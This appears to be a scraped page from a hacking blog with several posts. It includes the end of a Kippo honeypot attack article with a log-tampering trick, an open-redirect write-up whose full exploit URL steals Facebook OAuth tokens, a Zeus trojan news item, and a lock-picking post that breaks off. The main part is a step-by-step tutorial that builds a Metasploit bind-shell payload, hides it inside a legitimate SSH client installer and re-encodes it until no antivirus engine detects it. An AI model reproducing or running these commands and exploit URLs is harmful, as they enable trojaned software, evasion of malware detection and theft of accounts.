*/</div><h4>Stage 5.) Future Attacks</h4><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">This framework uses quiet a bit of libraries including twisted. If issues were found in these libraries, one could potentially compromise or crash the honeypots. There's certainly more to toy with in Kippo, I just ran out of time and need to continue other work you'll be seeing here soon. Enjoy!</div><h4 style="text-align: left;">Misc.) Meta Characters</h4><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">Kippo doesn't strip or replace all meta characters when writing to file. Depending on what kind of program is used to read these files in (I was using last), issuing \x08 (backspace) multiple times will remove entries. Try "ssh blah.com -p 2222 -l $(echo -e "\x08\x08\x08\x08blah)" and tail -f log/kippo.log to see. It's not likely something you'll know of off hand, but if Kippo interfaces get popular and they correctly treat these meta characters or someone told you how they read log files for analysis on a forum/mailing list, it could be of use.<br /><br /><b>About The Author</b><br /><b><br /></b>This article has been written by Tyler Borland, He has years of experience in Network, Webapplication security. He is an encyclopedia and researchers on each and every subject. </div></div>

Using Honeypots To Your Advantage - Attacking Kippo

Rafay asked me to do a guest blog and I tried to guess what would be the most useful for this crowd? I think I got just the thing. Ever scan...

+ Read more »

Hacking A Facebook Account With Quora - PWNQUEST

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrV-mxEQNTXMjjCG8QdPxZeb8ydFhGKmiVZroQ1Ppe11v-hXQxsf3JNk2KfF8Z2DgRmpkQl1FZHkTAaBN8yOIMdSdkRufVqvp3HZwkKIWaVXQo_ssBppoIIlaSLvKcB227PW1e-u96vFw/s1600/facebook_hacked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrV-mxEQNTXMjjCG8QdPxZeb8ydFhGKmiVZroQ1Ppe11v-hXQxsf3JNk2KfF8Z2DgRmpkQl1FZHkTAaBN8yOIMdSdkRufVqvp3HZwkKIWaVXQo_ssBppoIIlaSLvKcB227PW1e-u96vFw/s640/facebook_hacked.jpg" style="background-color: white; border-width: 0px; color: #a46f38; font-family: Verdana; font-size: 11.818181991577148px; line-height: 19.190340042114258px; padding: 10px; text-align: center;" width="577" /></a></div><br /><br />Well, We have already discussed many ways that a can use to hack a facebook account, however in this post we will discuss about an unpatched flaw inside the facebook oauth design.<br />An Independent security researcher and a very good friend of mine <b>"Prakhar Prasad"</b> exploited a flaw inside the oauth of Facebook, but the problem is that there is not much facebook can do in this scenario, Almost all the oauth flaws that have occurred on facebook have some thing to do with   tampering the <b>redirect_uri parameter</b>, with this flaw facebook cannot do much since they do not have much control on the part which we will discuss. Successful exploitation of this attack may lead to a full account compromise, however this solely depends upon the permission that the user assigns to the application, in most cases you won't be able to do much other then updating the user's status.<br /><a name='more'></a>Exclusively for RHA readers Prakhar was kind enough to make a step by step demonstration of how the attack was carried. Over to Prakhar.<br /><div dir="ltr" style="text-align: left;" trbidi="on"><br />I wanted to share the details of an open redirection vulnerability, which I found a popular Q/A website quora, possessing <a href="http://www.alexa.com/siteinfo/http://www.quora.com" rel="nofollow" target="_blank">Alexa rank</a> of around 800 worldwide and how someone can exploit the issue to<b> hack Facebook accounts</b>.<br /><br />So, let's come to the topic. While signing up for Quora website, I preferred using Facebook Connect which gives "limited" access to my account to Quora, so that website can fetch necessary details from my Facebook account for registration. I noticed <b>www.quora.com </b>was permitted to receive the <b>access_token</b> from Facebook OAuth, any other domain other than <b>www.quora.com </b>would result in a failure of that request. See below<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_tpHZE4ONP8wTyYToX1QiLzFekf1ziTfq_CAlTENtojYyhT2R-oPv8MVZ4u1cwglJaEFf8AXzFkPFbuhT_ZCiSqvbTg8HSyyEqX5ynYS_MpNn0mMO2fngPcSFb14GTW1Ud0Kp5ttTUAlF/s1600/origin.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="313" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_tpHZE4ONP8wTyYToX1QiLzFekf1ziTfq_CAlTENtojYyhT2R-oPv8MVZ4u1cwglJaEFf8AXzFkPFbuhT_ZCiSqvbTg8HSyyEqX5ynYS_MpNn0mMO2fngPcSFb14GTW1Ud0Kp5ttTUAlF/s640/origin.jpg" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Cool, I needed to find an open redirection inside the <b>www.quora.com</b> to steal the <b>access_token</b> of any <b>Quora user who signed-up using Facebook and has App enabled</b>.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Luckily I found a redirection issue in the contacts import page itself. The redirector was like:</div><br /><a href="https://www.quora.com/contacts/skip?goto=http://www.google.com" rel="nofollow" target="_blank">https://www.quora.com/contacts/skip?goto=http://www.google.com</a><br /><br /><br />So this link would redirect to http://www.google.com, accordingly I can redirect users to any domain of my choice.<br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Now I made a script that would save the token from URL into a file and redirect [unsuspecting] user to Facebook homepage. It was located at <a href="http://poc.prakharprasad.com/quora" rel="nofollow" target="_blank">http://poc.prakharprasad.com/quora</a> </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div>To make it a working exploit I needed the following missing pieces:<br /><br />1. A Facebook OAuth authorization URL requests token permission from the user, but as user will have Quora App installed, it will redirect to value specified in <b>next </b>parameter of OAuth authorization URL with a <b>valid access_token</b>.<br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">2. As discussed we know <b>next</b> can be any page/resource under <a href="https://www.quora.com/contacts/skip?goto=http://www.google.com">www.quora.com</a>. So next parameter must be set to <a href="https://www.quora.com/contacts/skip?goto=http://www.google.com" rel="nofollow" target="_blank">https://www.quora.com/contacts/skip?goto=</a><a href="http://poc.prakharprasad.com/quora">http://poc.prakharprasad.com/quora</a> ,when redirection happens the token is first sent to (allowed domain) www.quora.com then another redirection [open redirection] moves the token to <a href="http://poc.prakharprasad.com/quora" rel="nofollow" target="_blank">http://poc.prakharprasad.com/quora</a> where my script will do its job.</div><br />Final OAuth authorization URL that would steal the <b>access_token </b>looks like<br /><br /><a href="https://www.facebook.com/dialog/permissions.request?app_id=136609459636&next=https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&response_type=token" rel="nofollow" target="_blank">https://www.facebook.com/dialog/permissions.request?app_id=136609459636&next=https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&response_type=token</a><br /><div class="separator" style="clear: both; text-align: left;"><br /></div>Once the vicitm who has Quora App installed (or in other words, signed-up via Facebook) visits the above link, his token would get stored and he'll be redirected back to Facebook, as if nothing has happened.<br /><br />Using the stolen <b>access_token </b>I can, for example publish a status on victim's profile.<br /><br /><div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYOI3crsyiOMJJRh_U757eaEWBE8NlxksZbx8bDyXcBu8Bsp4KCST7qu1taAYSWHne3agpXadIufrCLsVYk6Qp0mFHTY7NjK5n_jeJHsxlgR15jXtZKTcGC3rq1BiXQscbKYPeMYY8JQT/s1600/publish.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYOI3crsyiOMJJRh_U757eaEWBE8NlxksZbx8bDyXcBu8Bsp4KCST7qu1taAYSWHne3agpXadIufrCLsVYk6Qp0mFHTY7NjK5n_jeJHsxlgR15jXtZKTcGC3rq1BiXQscbKYPeMYY8JQT/s640/publish.jpg" width="577" /></a></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><br />Quora App has 500,000+ monthly users on Facebook.So, all of them were at risk!<br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_L_CcHWxPsW8cXhg8b04PyoM7POD0UvHC566XE9EuZS4QHTVGSaEUd_PJWtSwdMRN_3svxqEVwYB9B-IIMqn3W5Z7pn301Ks_CAeUT6GqfyJ63eboeZyDEvh_uvIvZYr6lEVki4qWZjcO/s1600/quora_app.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_L_CcHWxPsW8cXhg8b04PyoM7POD0UvHC566XE9EuZS4QHTVGSaEUd_PJWtSwdMRN_3svxqEVwYB9B-IIMqn3W5Z7pn301Ks_CAeUT6GqfyJ63eboeZyDEvh_uvIvZYr6lEVki4qWZjcO/s640/quora_app.jpg" width="577" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><br /><b>As usual, here's the video demo :</b><br /><br /><div style="text-align: center;"><iframe allowfullscreen="allowfullscreen" frameborder="0" height="266" mozallowfullscreen="mozallowfullscreen" src="https://www.youtube.com/embed/Brv4_wUmyVE?feature=player_embedded" webkitallowfullscreen="webkitallowfullscreen" width="320"></iframe></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div><br /><b>Timeline:</b><br /><b><br /></b>8th June 2013 - Vulnerability Found<br />9th June 2013 - Vulnerability Reported<br />13th June 2013 - No Reply from Quora<br />13th June 2013 - Another notification sent to Quora staff member, got a reply acknowledging the issue<br />14th June 2013- Fix deployed on Quora, public disclosure  </div></div></div>

Hacking A Facebook Account With Quora - PWNQUEST

Well, We have already discussed many ways that a can use to hack a facebook account, however in this post we will discuss about an unpatched...

+ Read more »

How Your Bank Accounts Can Be Stolen With Zeus Virus?

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvH4SKJ_j3chTPLs3wtlTbB_g5EKRJIFEwJtJa9-tU7etAnxs2fSPf-yFepzwCELDhm-uSTgaPIgUbXhLrsSJ1mEZTgGl1bxDwMqk3s29fmkk9ngSuhtSZwB8WF36JyXV4jOrT5QMFsVw/s1600/Facebook.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvH4SKJ_j3chTPLs3wtlTbB_g5EKRJIFEwJtJa9-tU7etAnxs2fSPf-yFepzwCELDhm-uSTgaPIgUbXhLrsSJ1mEZTgGl1bxDwMqk3s29fmkk9ngSuhtSZwB8WF36JyXV4jOrT5QMFsVw/s400/Facebook.jpg" width="400" /></a></div>The 'Zeus Trojan Horse' Virus once again had a come back. According to a resource, it has an ability to drain your Bank accounts easily.<br /><br />Zeus Virus can propagate through phishing messages that are generated from the account that was already compromised with phishing. That phished account will then start sending messages to your friends containing links to the ads and would ask them to simply check-out the video or product by clicking on such links. This way the virus will go viral.<br /><br /><a name='more'></a><br />Readers are requested to stay refrain from clicking such links, because they might end up getting their accounts compromised The virus is very sophisticated, so that it could replace the website of a bank with the mimicked page of its own.<br /><br />That fake page could then ask for your security information and some other important data that could be easily sold in black market.<br /><br />According to many sources, perhaps it has been confirmed that those pages are being hosted by Russian Mafia (known as Russian Business Network as well).<br /><br /><h4 style="text-align: left;"><b><span style="font-size: large;">About Zeus(Virus)</span></b></h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfoX3lDzkq9rf1-ujq379Q5Sed4JHNtADMJ2W0EQykgExPllfKx21Lh0aZdnXw8yyexkUaKHUOvkCCpIn-6iXytFKupI3bowCJOd8OfV-SfmwU6OOb38kwhiie_bTa8EovWtlZi7IYGZg/s1600/Bank+accounts+hacked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfoX3lDzkq9rf1-ujq379Q5Sed4JHNtADMJ2W0EQykgExPllfKx21Lh0aZdnXw8yyexkUaKHUOvkCCpIn-6iXytFKupI3bowCJOd8OfV-SfmwU6OOb38kwhiie_bTa8EovWtlZi7IYGZg/s320/Bank+accounts+hacked.jpg" width="320" /></a></div><b><span style="font-size: large;"><br /></span></b>The virus is well-known for what it use to do. It was detected once back in 2007, and after that detection it started to spread online. The virus is well-designed so that if you would click on it, the possible and important data like Passwords and Bank Accounts can be stolen easily.<br /><br /><h4 style="text-align: left;"><b><span style="font-size: large;">Does Facebook Took Action Against It?</span></b></h4>Facebook is aware of it, but it is unlikely that Facebook is going to take any action against it.<br /><br />The founder of advocacy group Fans Against Kounterfeit Enterprise (FAKE) said that he was trying to alert Facebook about this issue to take action against it as soon as possible, but unluckily he was not satisfied well with their response.<br /><br />Those who are using windows should stay much careful about this issue. It has been said that Windows devices are much infected with this virus. Hence, Mac OS X or Linux are still safe of this virus.<br /><br />Some countries like USA and UK are badly infected, though, India, Russia, Canada and France are also infected with the virus at some moderate  limits. Some other countries like Australia, Argentina, Brazil, South Africa, Chile, Saudi Arabia, Pakistan, Indonesia and some other South-East Asian and European countries are less affected by this virus.</div>

How Your Bank Accounts Can Be Stolen With Zeus Virus?

The 'Zeus Trojan Horse' Virus once again had a come back. According to a resource, it has an ability to drain your Bank accounts eas...

+ Read more »

How To Bypass Antivirus Detection - Making An Executable FUD

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC13kMPypSNvpWW0917pJ_K7gnCwTUvmL5-AdRzwPX1lzqhvnbmwaWNgIQeJMJ1ZO_dzYjWZ6rsM9idvIVPMgIRSoBG3naWc2ZqTelp8WNL3DyYw7rHOGH7kLbj6oVsc9zxCTnod570Di8/s1600/Cover-afswa.blogspot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC13kMPypSNvpWW0917pJ_K7gnCwTUvmL5-AdRzwPX1lzqhvnbmwaWNgIQeJMJ1ZO_dzYjWZ6rsM9idvIVPMgIRSoBG3naWc2ZqTelp8WNL3DyYw7rHOGH7kLbj6oVsc9zxCTnod570Di8/s640/Cover-afswa.blogspot.jpg" width="577" /></a></div><span style="font-weight: normal;">So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Thought their are lots of approaches, however our team member </span>Malik Rafay <span style="font-weight: normal;">has managed to find a way to make an executable FUD using msfencode.</span><br /><div><a name='more'></a><b><br /></b><b>Requirements </b></div><span style="font-size: small;"><span style="font-weight: normal;"><br /></span></span><span style="font-size: small;"><span style="font-weight: normal;">A Backtrack machine , real or virtual. I used Backtrack 5 r3, but other versions of Backtrack are working OK too !!!</span></span><br /><br /><b>Attention !!!<span style="font-size: small;"><br /></span></b><span style="font-size: small;"><span style="font-weight: normal;"><br /></span></span><br /><span style="font-size: small;"><span style="font-weight: normal;">We are using some harmless test files but don't infect people with any real viruses that's a Crime and we here at <a href="http://www.rafayhackingarticles.net/" target="_blank">RHA </a>are not responsible for</span></span><br /><span style="font-size: small;"><b><br /></b></span><b>Purpose</b>:<br /><span style="font-size: small;"><span style="font-weight: normal;"><br /></span></span><span style="font-size: small;"><a href="http://www.rafayhackingarticles.net/2010/08/check-effectiveness-of-your-antivirus.html" target="_blank">Antivirus </a><span style="font-weight: normal;">protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.</span></span><br /><span style="font-size: small;"><b><br /></b></span><b>Creating a Listener:</b><br /><span style="font-size: small;"><b><br /></b></span> <span style="font-weight: normal;"><span style="font-size: small;">This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won't spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands:</span></span><span style="font-weight: normal;"><span style="font-size: small;"> </span></span><br /><span style="font-weight: normal;"><span style="font-size: large;"><br /></span></span><span style="font-weight: normal;"><span style="font-size: large;">cd<br />msfpayload</span><span style="font-size: small;"> </span><span style="font-size: large;">windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe<br />ls -l listen.exe</span></span><br /><br /><span style="font-size: small; font-weight: normal;">You should see the test</span><b style="font-size: medium;">.exe</b><span style="font-size: small; font-weight: normal;"> file as shown below:</span><br /><span style="font-size: small; font-weight: normal;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj3xze8JWGK-Xl7h7RmZmEM7z0cQk2goMKZL6vLv1e1qZXHhI1Mv7Cqu8po23MMOS4FuJ36jCxFkb_yzRfmU3_tXay04WGWCEKZXcB_hl03rJ85VypNX_0b0uFHxv2bzxZoMV38ZRspTw/s1600/01.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj3xze8JWGK-Xl7h7RmZmEM7z0cQk2goMKZL6vLv1e1qZXHhI1Mv7Cqu8po23MMOS4FuJ36jCxFkb_yzRfmU3_tXay04WGWCEKZXcB_hl03rJ85VypNX_0b0uFHxv2bzxZoMV38ZRspTw/s640/01.PNG" width="577" /></a></div><b>Analyzing the Listener with VirusTotal</b><br /><br /><span style="font-size: small;"><span style="font-weight: normal;">Go to </span></span><a href="https://www.virustotal.com/en/" rel="nofollow" target="_blank"><span style="font-size: small;">https://www.virustotal.com/en/</span></a><br /><div style="font-size: medium; font-weight: normal;"><br />Click the "<b>Choose File</b>" button. Navigate to <b>/root</b> and double-click the <b>listen.exe</b>"listen.exe" appears in the "Choose File" box, as shown below:<br /><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2NYw9e1O0A7LYxsGjcOgEOhiaCoKozwouSsmGc6j8lZ8PgIddTNRASouKMiqaclL5WsDfZlUNlUsRbDyvjrCsj4pQjn2M5vDKgj6SyZQyXcW9WueAWUDYIr1grF_eKdrgDI7flU21y6is/s1600/av6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2NYw9e1O0A7LYxsGjcOgEOhiaCoKozwouSsmGc6j8lZ8PgIddTNRASouKMiqaclL5WsDfZlUNlUsRbDyvjrCsj4pQjn2M5vDKgj6SyZQyXcW9WueAWUDYIr1grF_eKdrgDI7flU21y6is/s640/av6.png" width="577" /></a></div><div style="font-size: medium; font-weight: normal;"><br />In the virustotal web page , Click the "scan it" button !!!<br /><br /></div><div style="font-size: medium;">If you see a <b>"File already analyzed"</b> message, click the "<b style="font-weight: normal;">View last analysis</b>" button.<br /><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;">The analysis shows that many of the antivirus engines detected the file--33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.<br /><br /></div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0Xzeo_rHeWqL7FmwfgP45mgn7ozbWvp0e3PB2eOFaDwvujngrjAjTkl6ZiAFge04-19P1_regty3x9d8NuDFwIwN2WEw1_G8XBT_vusfvcgPvw3PwpX36Gt-oehmk3qV4ub5dCxkAMuw/s1600/3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0Xzeo_rHeWqL7FmwfgP45mgn7ozbWvp0e3PB2eOFaDwvujngrjAjTkl6ZiAFge04-19P1_regty3x9d8NuDFwIwN2WEw1_G8XBT_vusfvcgPvw3PwpX36Gt-oehmk3qV4ub5dCxkAMuw/s640/3.PNG" width="577" /></a></div><div style="font-size: medium; font-weight: normal;"><br /></div><b>Encoding the Listener </b><br /><br /><div style="font-size: medium; font-weight: normal;">this process will encode the listener, & insert it into an innocent SSH file.</div><div style="font-size: medium; font-weight: normal;">In BackTrack, in a Terminal window, execute these commands:</div><blockquote style="font-size: medium; font-weight: normal;"><code><big><b>wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exemsfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1</b></big></code><code><big><b>ls -l evil*</b></big></code></blockquote><br /><span style="font-size: small; font-weight: normal;">You should see the </span><b style="font-size: medium;">evil-ssh.exe</b><span style="font-size: small; font-weight: normal;"> file as shown below :</span><br /><span style="font-size: small; font-weight: normal;"><br /></span><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxLvCo8Wpm16jZ9nHOocKRScEXcKqhoY2JMBYSgNGybHSayQF-XatjwqmG1l4P2QbMXfIcRBZJq2SwD52ZZc3fTX8jFkMTbJC7FJqvY4SRtRxcSe7xE8u_adqgbeLL9qgkZFXv9AvuAl8/s1600/5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxLvCo8Wpm16jZ9nHOocKRScEXcKqhoY2JMBYSgNGybHSayQF-XatjwqmG1l4P2QbMXfIcRBZJq2SwD52ZZc3fTX8jFkMTbJC7FJqvY4SRtRxcSe7xE8u_adqgbeLL9qgkZFXv9AvuAl8/s640/5.PNG" width="577" /></a><br /><div class="separator" style="clear: both; text-align: center;"></div><div><br /><b>Scan with virusTOTAL</b><br /><br /><span style="font-weight: normal;"><span style="font-size: small;">Go to: </span></span><a href="https://www.virustotal.com/" rel="nofollow" style="font-size: medium; font-weight: normal;" target="_blank">https://www.virustotal.com/</a></div><div style="font-size: medium;"><div style="font-weight: normal;"><br /></div><span style="font-weight: normal;">If you see a </span><b>"File already analyzed"</b><span style="font-weight: normal;"> message, click the "</span><b>View last analysis" </b><span style="font-weight: normal;">button.</span><br /><div style="font-weight: normal;">The analysis shows that fewer of the antivirus engines detect the file now--21 out of 42, when I did it, as shown below. You may see different numbers.</div><div style="font-weight: normal;"><br /></div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEKxMkB6otx153uABct5q9UHPsrn4pbJhVxbGPmW1Y0jIP3RnaAHGnTvrUN4UnFYhyphenhyphenvEm05gQGg3UYAuUgf5sa6momkZVeYIcR8CIQu_r_EZXq3d58WG3ePy5VkcDpqFmdVDpwrszB1RZ6/s1600/av9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEKxMkB6otx153uABct5q9UHPsrn4pbJhVxbGPmW1Y0jIP3RnaAHGnTvrUN4UnFYhyphenhyphenvEm05gQGg3UYAuUgf5sa6momkZVeYIcR8CIQu_r_EZXq3d58WG3ePy5VkcDpqFmdVDpwrszB1RZ6/s640/av9.png" width="577" /></a> </div><br />Encode the Listener Again <span style="font-size: small;"><span style="font-weight: normal;">This process will encode the listener with several different encodings.</span></span><br /><span style="font-size: small;"><span style="font-weight: normal;"><br /></span></span><br /><div style="font-size: medium; font-weight: normal;"></div><div style="font-size: medium; font-weight: normal;">In BackTrack, in a Terminal window, execute these commands:</div><blockquote style="font-size: medium; font-weight: normal;"><code><big><b>msfencode -i /root/test.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1msfencode -i /root/listen2.exe -t raw -o </b></big></code></blockquote><br /><blockquote style="font-size: medium; font-weight: normal;"><code><big><b>/root/listen3.exe -e x86/jmp_call_additive -c 1<br />msfencode -i /root/test3.exe -t raw -o /root/test4.exe -e x86/call4_dword_xor -c 1</b></big></code></blockquote><br /><blockquote style="font-size: medium; font-weight: normal;"><code><big><b>msfencode -i /root/test4.exe -o /root/test.exe -e x86/shikata_ga_nai -c 1</b></big></code><code><big><b>ls -l listen*</b></big></code></blockquote><span style="font-size: small;"><span style="font-weight: normal;">You should see several files as shown below :</span></span> <br /><span style="font-size: small;"><span style="font-weight: normal;"><br /></span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxLvCo8Wpm16jZ9nHOocKRScEXcKqhoY2JMBYSgNGybHSayQF-XatjwqmG1l4P2QbMXfIcRBZJq2SwD52ZZc3fTX8jFkMTbJC7FJqvY4SRtRxcSe7xE8u_adqgbeLL9qgkZFXv9AvuAl8/s1600/5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxLvCo8Wpm16jZ9nHOocKRScEXcKqhoY2JMBYSgNGybHSayQF-XatjwqmG1l4P2QbMXfIcRBZJq2SwD52ZZc3fTX8jFkMTbJC7FJqvY4SRtRxcSe7xE8u_adqgbeLL9qgkZFXv9AvuAl8/s640/5.PNG" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Analyzing Again</b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><span style="font-size: small;"><span style="font-weight: normal;">The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.</span></span><br /><span style="font-size: small;"><span style="font-weight: normal;"><br /></span></span><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBpVqzSg-SBCLmBCtTeLKiGxKhZWwkmLMSpDW2B2F9McF_B7S8ZxbmBuPvNPjRB0mcAXCQcFJWx5PsNJbclqtrKOlUadV4UjzZWFExjhDfbfc-YTvp0Q9pYXQRXsd5jAtPcDgGWvuG3Po/s1600/6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBpVqzSg-SBCLmBCtTeLKiGxKhZWwkmLMSpDW2B2F9McF_B7S8ZxbmBuPvNPjRB0mcAXCQcFJWx5PsNJbclqtrKOlUadV4UjzZWFExjhDfbfc-YTvp0Q9pYXQRXsd5jAtPcDgGWvuG3Po/s640/6.PNG" width="577" /></a></div></div><b>About The Author </b><br /><br />The article is written by <b>Malik Rafay, </b>He is an independent security researcher and is the newest member on RHA team. You can contact him <a href="https://www.facebook.com/rafay.haxor.7?fref=ts" rel="nofollow" target="_blank">here</a>.<br /><br /><b>Source</b><br /><b><br /></b><b>- </b><a href="http://samsclass.info/120/proj/p6x-AV-bypass.html" rel="nofollow" target="_blank">http://samsclass.info/120/proj/p6x-AV-bypass.html</a></div>

How To Bypass Antivirus Detection - Making An Executable FUD

So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Thought their are lots...

+ Read more »

How To Pick A Lock - Lock Picking Basics

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="p1"><div class="separator" style="clear: both; text-align: center;"><a href="http://cdn1.bigcommerce.com/server1900/vca8qna/products/1126/images/528/BDPS_14__56556.1360776459.1280.1280.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="http://cdn1.bigcommerce.com/server1900/vca8qna/products/1126/images/528/BDPS_14__56556.1360776459.1280.1280.jpg" width="320" /></a></div><span class="s1">Lock picking is considered by some to be the original<b> "hack"</b>.  Long before computers there were locks and someone who wanted to manipulate them. The common misconception when picking a lock is that the process is difficult when, in actuality, it is quite simple. There are my methods to picking a lock but for this post we are going to go over the most basic method, <b>“raking”</b> or <b>“scrubbing”</b>.</span></div><div class="p2"><span class="s1"></span><br /><a name='more'></a></div><div class="p1"><span class="s1">Raking a lock is a simple, yet effective, way of manipulating the pins in a lock to open it without a key and can be achieved by the following steps:</span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUkYYsEB3vLa4W8jdMRR4ThRUF_PwGykwpKGy2Ho907LkhYR8dY-22L3vj_lB-m-334J3U5seA-UVk6kUKRgNcGNy9-xKPzSUk_HtGhxtUl7GLcNTcfxhx5fNDPpuRVUYHAIGvBe_5_N_T/s1600/Picking-300x214.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUkYYsEB3vLa4W8jdMRR4ThRUF_PwGykwpKGy2Ho907LkhYR8dY-22L3vj_lB-m-334J3U5seA-UVk6kUKRgNcGNy9-xKPzSUk_HtGhxtUl7GLcNTcfxhx5fNDPpuRVUYHAIGvBe_5_N_T/s1600/Picking-300x214.png" /></a></div><div class="p1"><br /></div><ol class="ol1"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRLP86Dhjk34vcsdR4Hd2BFBK-z8QTdaeEG1mXTFnnzYDxy9E1eMns00m9syj0lw7pDbvtk1uhY3HCXvgTDS_ryNyxfGiMMD0IDlaXKXpXSC7ruN4HiHhCK00AoX2nU3ecE5e0OlDx6oHK/s1600/Rake-300x128.png" imageanchor="1" style="clear: right; float: right; 